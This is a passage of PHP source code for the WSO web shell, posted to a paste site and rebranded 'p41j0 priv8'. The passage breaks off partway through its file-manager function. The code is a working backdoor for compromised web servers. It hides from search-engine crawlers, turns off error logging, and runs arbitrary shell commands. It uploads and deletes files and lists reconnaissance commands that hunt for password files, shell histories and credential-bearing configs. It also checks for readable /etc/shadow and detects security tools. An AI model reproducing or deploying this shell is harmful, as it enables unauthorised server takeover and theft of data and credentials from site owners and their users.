· 10 years ago · Feb 29, 2016, 02:48 PM
1<?php
2
3echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
4
5 <style type='text/css'>
6 input[type=submit], input[type=button], input[type=reset]{
7 text-align:center;
8 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
9 border:1px solid #4D4D4D;
10 color:#CCCCCC;
11 border-top-color:#565656;
12 padding:4px 6px;
13 margin:4px 5px;
14 height:16px;
15 -moz-box-shadow:0 0 1px black;
16 -webkit-box-shadow:0 0 1px black;
17 box-shadow:0 0 1px black;
18 text-shadow:0 1px black;
19 -moz-border-radius:4px;
20 -webkit-border-radius:4px;
21 -khtml-border-radius:4px;
22 border-radius:4px;
23 height:23px;
24}
25
26input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
27 background-position:center top;
28 text-decoration:none;
29}
30input[type=text], input[type=password]{
31 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
32 border:1px solid #4D4D4D;
33 color:#CCCCCC;
34 border-top-color:#565656;
35 -moz-box-shadow:0 0 1px black;
36 -webkit-box-shadow:0 0 1px black;
37 box-shadow:0 0 1px black;
38 -moz-border-radius:4px;
39 -webkit-border-radius:4px;
40 -khtml-border-radius:4px;
41 border-radius:4px;
42 height:18px;
43 margin-left: 5px;
44}
45input , textarea , button , body , caption , table ,area , option {
46 outline:none;
47 transition: all 0.20s ease-in-out;
48 -webkit-transition: all 0.25s ease-in-out;
49 -moz-transition: all 0.25s ease-in-out;
50 border-radius:3px;
51 -webkit-border-radius:3px;
52 -moz-border-radius:3px;
53 border:1px solid rgba(0,0,0, 0.2);
54 /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
55}
56input , textarea {
57 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
58}
59
60
61input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
62 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
63 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
64 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
65
66 border: 1px solid #CCCC00;
67
68 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
69 overflow: auto;
70/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
71}
72
73body{
74/* font-family : Verdana; */
75 color : #f9f6f1;
76 font-size : 0.7em;
77 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
78}
79input , textarea {
80 outline:none;
81 transition: all 0.20s ease-in-out;
82 -webkit-transition: all 0.25s ease-in-out;
83 -moz-transition: all 0.25s ease-in-out;
84 border-radius:3px;
85 -webkit-border-radius:3px;
86 -moz-border-radius:3px;
87 border:1px solid rgba(0,0,0, 0.2);
88}
89input:focus, textarea:focus {
90 outline: 0;
91 border-color: rgba(82, 168, 236, 0.8);
92 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
93 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
94 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
95
96
97 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
98 overflow: auto;
99
100}
101
102
103 </style>
104 ";
105$_SESSION[$_SERVER['HTTP_HOST']] = true;
106$color = "#df5"; //Colour
107$default_action = "FilesMan";
108$default_charset = "Windows-1251";
109if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
110 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
111 foreach($userAgents as $agent)
112 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
113 header('HTTP/1.0 404 Not Found');
114 exit;
115 }
116}
117@session_start();
118@error_reporting(0);
119@ini_set('error_log',NULL);
120@ini_set('log_errors',0);
121@ini_set('max_execution_time',0);
122@set_time_limit(0);
123@set_magic_quotes_runtime(0);
124@define('VERSION', '3.0');
125if( get_magic_quotes_gpc() ) {
126 function WSOstripslashes($array) {
127 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
128 }
129 $_POST = WSOstripslashes($_POST);
130}
131
132if( strtolower( substr(PHP_OS,0,3) ) == "win" )
133 $os = 'win';
134else
135 $os = 'nix';
136$safe_mode = @ini_get('safe_mode');
137$disable_functions = @ini_get('disable_functions');
138$home_cwd = @getcwd();
139if( isset( $_POST['c'] ) )
140 @chdir($_POST['c']);
141$cwd = @getcwd();
142if( $os == 'win') {
143 $home_cwd = str_replace("\\", "/", $home_cwd);
144 $cwd = str_replace("\\", "/", $cwd);
145}
146if( $cwd[strlen($cwd)-1] != '/' )
147 $cwd .= '/';
148
149if($os == 'win')
150 $aliases = array(
151 "List Directory" => "dir",
152 "Find index.php in current dir" => "dir /s /w /b index.php",
153 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
154 "Show active connections" => "netstat -an",
155 "Show running services" => "net start",
156 "User accounts" => "net user",
157 "Show computers" => "net view",
158 "ARP Table" => "arp -a",
159 "IP Configuration" => "ipconfig /all"
160 );
161else
162 $aliases = array(
163 "List dir" => "ls -lha",
164 "list file attributes on a Linux second extended file system" => "lsattr -va",
165 "show opened ports" => "netstat -an | grep -i listen",
166 "Find" => "",
167 "find all suid files" => "find / -type f -perm -04000 -ls",
168 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
169 "find all sgid files" => "find / -type f -perm -02000 -ls",
170 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
171 "find config.inc.php files" => "find / -type f -name config.inc.php",
172 "find config* files" => "find / -type f -name \"config*\"",
173 "find config* files in current dir" => "find . -type f -name \"config*\"",
174 "find all writable folders and files" => "find / -perm -2 -ls",
175 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
176 "find all service.pwd files" => "find / -type f -name service.pwd",
177 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
178 "find all .htpasswd files" => "find / -type f -name .htpasswd",
179 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
180 "find all .bash_history files" => "find / -type f -name .bash_history",
181 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
182 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
183 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
184 "Locate" => "",
185 "locate httpd.conf files" => "locate httpd.conf",
186 "locate vhosts.conf files" => "locate vhosts.conf",
187 "locate proftpd.conf files" => "locate proftpd.conf",
188 "locate psybnc.conf files" => "locate psybnc.conf",
189 "locate my.conf files" => "locate my.conf",
190 "locate admin.php files" =>"locate admin.php",
191 "locate cfg.php files" => "locate cfg.php",
192 "locate conf.php files" => "locate conf.php",
193 "locate config.dat files" => "locate config.dat",
194 "locate config.php files" => "locate config.php",
195 "locate config.inc files" => "locate config.inc",
196 "locate config.inc.php" => "locate config.inc.php",
197 "locate config.default.php files" => "locate config.default.php",
198 "locate config* files " => "locate config",
199 "locate .conf files"=>"locate '.conf'",
200 "locate .pwd files" => "locate '.pwd'",
201 "locate .sql files" => "locate '.sql'",
202 "locate .htpasswd files" => "locate '.htpasswd'",
203 "locate .bash_history files" => "locate '.bash_history'",
204 "locate .mysql_history files" => "locate '.mysql_history'",
205 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
206 "locate backup files" => "locate backup",
207 "locate dump files" => "locate dump",
208 "locate priv files" => "locate priv"
209 );
210
211function wsoHeader() {
212 if(empty($_POST['charset']))
213 $_POST['charset'] = $GLOBALS['default_charset'];
214 global $color;
215 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "-[p41j0 priv8] " . VERSION ."</title>
216<style>
217body{background-color:#444;color:#e1e1e1;}
218body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
219table.info{ color:#fff;background-color:#222; }
220span,h1,a{ color: $color !important; }
221span{ font-weight: bolder; }
222h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
223div.content{ padding: 5px;margin-left:5px;background-color:#333; }
224a{ text-decoration:none; }
225a:hover{ text-decoration:underline; }
226.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
227.bigarea{ width:100%;height:250px; }
228input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
229form{ margin:0px; }
230#toolsTbl{ text-align:center; }
231.toolsInp{ width: 300px }
232.main th{text-align:left;background-color:#5e5e5e;}
233.main tr:hover{background-color:#5e5e5e}
234.l1{background-color:#444}
235pre{font-family:Courier,Monospace;}
236</style>
237<script>
238 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
239 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
240 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
241 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
242 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
243 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
244 function set(a,c,p1,p2,p3,charset) {
245 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
246 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
247 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
248 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
249 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
250 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
251 }
252 function g(a,c,p1,p2,p3,charset) {
253 set(a,c,p1,p2,p3,charset);
254 document.mf.submit();
255 }
256 function a(a,c,p1,p2,p3,charset) {
257 set(a,c,p1,p2,p3,charset);
258 var params = 'ajax=true';
259 for(i=0;i<document.mf.elements.length;i++)
260 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
261 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
262 }
263 function sr(url, params) {
264 if (window.XMLHttpRequest)
265 req = new XMLHttpRequest();
266 else if (window.ActiveXObject)
267 req = new ActiveXObject('Microsoft.XMLHTTP');
268 if (req) {
269 req.onreadystatechange = processReqChange;
270 req.open('POST', url, true);
271 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
272 req.send(params);
273 }
274 }
275 function processReqChange() {
276 if( (req.readyState == 4) )
277 if(req.status == 200) {
278 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
279 var arr=reg.exec(req.responseText);
280 eval(arr[2].substr(0, arr[1]));
281 } else alert('Request error!');
282 }
283</script>
284<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
285<form method=post name=mf style='display:none;'>
286<input type=hidden name=a>
287<input type=hidden name=c>
288<input type=hidden name=p1>
289<input type=hidden name=p2>
290<input type=hidden name=p3>
291<input type=hidden name=charset>
292</form>";
293 $freeSpace = @diskfreespace($GLOBALS['cwd']);
294 $totalSpace = @disk_total_space($GLOBALS['cwd']);
295 $totalSpace = $totalSpace?$totalSpace:1;
296 $release = @php_uname('r');
297 $kernel = @php_uname('s');
298 $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
299 if( strpos('Linux', $kernel) !== false )
300 $exdblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
301 else
302 $exdblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
303 if(!function_exists('posix_getegid')) {
304 $user = @get_current_user();
305 $uid = @getmyuid();
306 $gid = @getmygid();
307 $group = "?";
308 } else {
309 $uid = @posix_getpwuid(@posix_geteuid());
310 $gid = @posix_getgrgid(@posix_getegid());
311 $user = $uid['name'];
312 $uid = $uid['uid'];
313 $group = $gid['name'];
314 $gid = $gid['gid'];
315 }
316 $cwd_links = '';
317 $path = explode("/", $GLOBALS['cwd']);
318 $n=count($path);
319 for($i=0;$i<$n-1;$i++) {
320 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
321 for($j=0;$j<=$i;$j++)
322 $cwd_links .= $path[$j].'/';
323 $cwd_links .= "\")'>".$path[$i]."/</a>";
324 }
325 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
326 $opt_charsets = '';
327 foreach($charsets as $item)
328 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
329 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Mass'=>'Mass','Domains'=>'Domain','Sql'=>'Sql','Safe mode'=>'SafeMode','String tools'=>'StringTools','Network'=>'Network');
330 $m['Self remove'] = 'SelfRemove';
331 $menu = '';
332 foreach($m as $k => $v)
333 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
334 $drives = "";
335 if ($GLOBALS['os'] == 'win') {
336 foreach( range('c','z') as $drive )
337 if (is_dir($drive.':\\'))
338 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
339 }
340 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
341 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$exdblink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
342 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>'.
343 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
344}
345
346function wsoFooter() {
347 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
348 echo "
349</div>
350<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
351 <tr>
352 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
353 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
354 </tr><tr>
355 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
356 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
357 </tr><tr>
358 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
359 <td><form method='post' ENCTYPE='multipart/form-data'>
360 <input type=hidden name=a value='FilesMAn'>
361 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
362 <input type=hidden name=p1 value='uploadFile'>
363 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
364 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
365 </tr></table></div></body></html>";
366}
367
368if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
369if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
370function wsoEx($in) {
371 $out = '';
372 if(function_exists('exec')) {
373 @exec($in,$out);
374 $out = @join("\n",$out);
375 }elseif(function_exists('passthru')) {
376 ob_start();
377 @passthru($in);
378 $out = ob_get_clean();
379 }elseif(function_exists('system')) {
380 ob_start();
381 @system($in);
382 $out = ob_get_clean();
383 }elseif(function_exists('shell_exec')) {
384 $out = shell_exec($in);
385 }elseif(is_resource($f = @popen($in,"r"))) {
386 $out = "";
387 while(!@feof($f))
388 $out .= fread($f,1024);
389 pclose($f);
390 }
391 return $out;
392}
393function wsoViewSize($s) {
394 if($s >= 1073741824)
395 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
396 elseif($s >= 1048576)
397 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
398 elseif($s >= 1024)
399 return sprintf('%1.2f', $s / 1024 ) . ' KB';
400 else
401 return $s . ' B';
402}
403
404function wsoPerms($p) {
405 if (($p & 0xC000) == 0xC000)$i = 's';
406 elseif (($p & 0xA000) == 0xA000)$i = 'l';
407 elseif (($p & 0x8000) == 0x8000)$i = '-';
408 elseif (($p & 0x6000) == 0x6000)$i = 'b';
409 elseif (($p & 0x4000) == 0x4000)$i = 'd';
410 elseif (($p & 0x2000) == 0x2000)$i = 'c';
411 elseif (($p & 0x1000) == 0x1000)$i = 'p';
412 else $i = 'u';
413 $i .= (($p & 0x0100) ? 'r' : '-');
414 $i .= (($p & 0x0080) ? 'w' : '-');
415 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
416 $i .= (($p & 0x0020) ? 'r' : '-');
417 $i .= (($p & 0x0010) ? 'w' : '-');
418 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
419 $i .= (($p & 0x0004) ? 'r' : '-');
420 $i .= (($p & 0x0002) ? 'w' : '-');
421 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
422 return $i;
423}
424function wsoPermsColor($f) {
425 if (!@is_readable($f))
426 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
427 elseif (!@is_writable($f))
428 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
429 else
430 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
431}
432if(!function_exists("scandir")) {
433 function scandir($dir) {
434 $dh = opendir($dir);
435 while (false !== ($filename = readdir($dh))) {
436 $files[] = $filename;
437 }
438 return $files;
439 }
440}
441function wsoWhich($p) {
442 $path = wsoEx('which '.$p);
443 if(!empty($path))
444 return $path;
445 return false;
446}
447function actionSecInfo() {
448 wsoHeader();
449 echo '<h1>Server security information</h1><div class=content>';
450 function wsoSecParam($n, $v) {
451 $v = trim($v);
452 if($v) {
453 echo '<span>'.$n.': </span>';
454 if(strpos($v, "\n") === false)
455 echo $v.'<br>';
456 else
457 echo '<pre class=ml1>'.$v.'</pre>';
458 }
459 }
460
461 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
462 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
463 wsoSecParam('Open base dir', @ini_get('open_basedir'));
464 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
465 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
466 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
467 $temp=array();
468 if(function_exists('mysql_get_client_info'))
469 $temp[] = "MySql (".mysql_get_client_info().")";
470 if(function_exists('mssql_connect'))
471 $temp[] = "MSSQL";
472 if(function_exists('pg_connect'))
473 $temp[] = "PostgreSQL";
474 if(function_exists('oci_connect'))
475 $temp[] = "Oracle";
476 wsoSecParam('Supported databases', implode(', ', $temp));
477 echo '<br>';
478
479 if( $GLOBALS['os'] == 'nix' ) {
480 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
481 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
482 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
483 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
484 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
485 wsoSecParam('OS version', @file_get_contents('/proc/version'));
486 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
487 if(!$GLOBALS['safe_mode']) {
488 echo '<br>';
489 $temp=array();
490 foreach ($userful as $item)
491 if(wsoWhich($item)){$temp[]=$item;}
492 wsoSecParam('Userful', implode(', ',$temp));
493 $temp=array();
494 foreach ($danger as $item)
495 if(wsoWhich($item)){$temp[]=$item;}
496 wsoSecParam('Danger', implode(', ',$temp));
497 $temp=array();
498 foreach ($downloaders as $item)
499 if(wsoWhich($item)){$temp[]=$item;}
500 wsoSecParam('Downloaders', implode(', ',$temp));
501 echo '<br/>';
502 wsoSecParam('HDD space', wsoEx('df -h'));
503 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
504 }
505 } else {
506 wsoSecParam('OS Version',wsoEx('ver'));
507 wsoSecParam('Account Settings',wsoEx('net accounts'));
508 wsoSecParam('User Accounts',wsoEx('net user'));
509 }
510 echo '</div>';
511 wsoFooter();
512}
513
514
515
516function actionFilesMan() {
517 wsoHeader();
518 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
519 if(!empty($_POST['p1'])) {
520 switch($_POST['p1']) {
521 case 'uploadFile':
522 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
523 echo "Can't upload file!";
524 break;
525 case 'mkdir':
526 if(!@mkdir($_POST['p2']))
527 echo "Can't create new dir";
528 break;
529 case 'delete':
530 function deleteDir($path) {
531 $path = (substr($path,-1)=='/') ? $path:$path.'/';
532 $dh = opendir($path);
533 while ( ($item = readdir($dh) ) !== false) {
534 $item = $path.$item;
535 if ( (basename($item) == "..") || (basename($item) == ".") )
536 continue;
537 $type = filetype($item);
538 if ($type == "dir")
539 deleteDir($item);
540 else
541 @unlink($item);
542 }
543 closedir($dh);
544 rmdir($path);
545 }
546 if(is_array(@$_POST['f']))
547 foreach($_POST['f'] as $f) {
548 $f = urldecode($f);
549 if(is_dir($f))
550 deleteDir($f);
551 else
552 @unlink($f);
553 }
554 break;
555 case 'paste':
556 if($_SESSION['act'] == 'copy') {
557 function copy_paste($c,$s,$d){
558 if(is_dir($c.$s)){
559 mkdir($d.$s);
560 $h = @opendir($c.$s);
561 while (($f = @readdir($h)) !== false)
562 if (($f != ".") and ($f != "..")) {
563 copy_paste($c.$s.'/',$f, $d.$s.'/');
564 }
565 } elseif(is_file($c.$s)) {
566 @copy($c.$s, $d.$s);
567 }
568 }
569 foreach($_SESSION['f'] as $f)
570 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
571 } elseif($_SESSION['act'] == 'move') {
572 function move_paste($c,$s,$d){
573 if(is_dir($c.$s)){
574 mkdir($d.$s);
575 $h = @opendir($c.$s);
576 while (($f = @readdir($h)) !== false)
577 if (($f != ".") and ($f != "..")) {
578 copy_paste($c.$s.'/',$f, $d.$s.'/');
579 }
580 } elseif(@is_file($c.$s)) {
581 @copy($c.$s, $d.$s);
582 }
583 }
584 foreach($_SESSION['f'] as $f)
585 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
586 } elseif($_SESSION['act'] == 'zip') {
587 if(class_exists('ZipArchive')) {
588 $zip = new ZipArchive();
589 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
590 chdir($_SESSION['c']);
591 foreach($_SESSION['f'] as $f) {
592 if(@is_file($_SESSION['c'].$f))
593 $zip->addFile($_SESSION['c'].$f, $f);
594 elseif(@is_dir($_SESSION['c'].$f)) {
595 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
596 foreach ($iterator as $key=>$value) {
597 $zip->addFile(realpath($key), $key);
598 }
599 }
600 }
601 chdir($GLOBALS['cwd']);
602 $zip->close();
603 }
604 }
605 } elseif($_SESSION['act'] == 'unzip') {
606 if(class_exists('ZipArchive')) {
607 $zip = new ZipArchive();
608 foreach($_SESSION['f'] as $f) {
609 if($zip->open($_SESSION['c'].$f)) {
610 $zip->extractTo($GLOBALS['cwd']);
611 $zip->close();
612 }
613 }
614 }
615 }
616 unset($_SESSION['f']);
617 break;
618 default:
619 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
620 $_SESSION['act'] = @$_POST['p1'];
621 $_SESSION['f'] = @$_POST['f'];
622 foreach($_SESSION['f'] as $k => $f)
623 $_SESSION['f'][$k] = urldecode($f);
624 $_SESSION['c'] = @$_POST['c'];
625 }
626 break;
627 }
628 }
629 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
630 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
631 global $sort;
632 $sort = array('name', 1);
633 if(!empty($_POST['p1'])) {
634 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
635 $sort = array($match[1], (int)$match[2]);
636 }
637echo "<script>
638 function sa() {
639 for(i=0;i<document.files.elements.length;i++)
640 if(document.files.elements[i].type == 'checkbox')
641 document.files.elements[i].checked = document.files.elements[0].checked;
642 }
643</script>
644<table width='100%' class='main' cellspacing='0' cellpadding='2'>
645<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
646 $dirs = $files = array();
647 $n = count($dirContent);
648 for($i=0;$i<$n;$i++) {
649 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
650 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
651 $tmp = array('name' => $dirContent[$i],
652 'path' => $GLOBALS['cwd'].$dirContent[$i],
653 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
654 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
655 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
656 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
657 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
658 );
659 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
660 $files[] = array_merge($tmp, array('type' => 'file'));
661 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
662 $dirs[] = array_merge($tmp, array('type' => 'link'));
663 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
664 $dirs[] = array_merge($tmp, array('type' => 'dir'));
665 }
666 $GLOBALS['sort'] = $sort;
667 function wsoCmp($a, $b) {
668 if($GLOBALS['sort'][0] != 'size')
669 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
670 else
671 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
672 }
673 usort($files, "wsoCmp");
674 usort($dirs, "wsoCmp");
675 $files = array_merge($dirs, $files);
676 $l = 0;
677 foreach($files as $f) {
